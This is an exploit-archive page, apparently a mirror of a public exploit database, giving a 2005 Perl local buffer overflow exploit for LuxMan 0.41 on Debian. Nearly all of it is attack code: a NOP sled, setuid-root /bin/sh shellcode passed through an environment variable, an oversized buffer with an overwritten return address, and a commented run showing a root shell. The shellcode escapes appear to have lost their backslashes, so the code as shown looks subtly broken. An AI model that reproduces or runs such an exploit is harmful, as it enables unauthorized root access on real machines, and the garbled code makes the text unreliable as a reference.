[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Frank McIngvale LuxMan 0.41 Local Buffer Overflow Exploit
# Published : 2005-03-14
# Author : Kevin Finisterre
# Previous Title : Einstein <= 1.01 Local Password Disclosure Exploit (asm)
# Next Title : Einstein <= 1.01 Local Password Disclosure Exploit
#!/usr/bin/perl -w
#
# luxman exploit
#
# ii luxman 0.41-19.1 Pac-Man clone (svgalib based)
#
# Tested with "security compat" set in /etc/vga/libvga.config on debian unstable 3.1
#
# kfinisterre@jdam:~$ ./luxman_ex.pl
# LuxMan v0.41, Copyright (c) 1995 Frank McIngvale
# LuxMan comes with ABSOLUTELY NO WARRANTY; see COPYING for details.
#
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# Using SIS driver, 2048KB. Chiptype=8
# svgalib 1.4.3
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# svgalib: Failed to initialize mouse.
#
# The frame rate is now set to 1 frames per second.
# If the game seems too fast, too slow, or too jerky,
# you can adjust this value the `-r' option.
#
# Calibrating delay...-664257
# Sound server started [pid:7082]
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)
#
($offset) = @ARGV,$offset || ($offset = 0);
$sc = "x90"x512;
$sc .= "x31xd2x31xc9x31xdbx31xc0xb0xa4xcdx80";
$sc .= "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b";
$sc .= "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd";
$sc .= "x80xe8xdcxffxffxff/bin/sh";
$ENV{"FOO"} = $sc;
$buf = "A" x 8732;
$buf .= (pack("l",(0xbfffffff-512+$offset)) x2);
#exec("strace -u kfinisterre /usr/games/luxman -r 1 -f $buf");
exec("/usr/games/luxman -r 1 -f $buf");
# www.Syue.com [2005-03-14]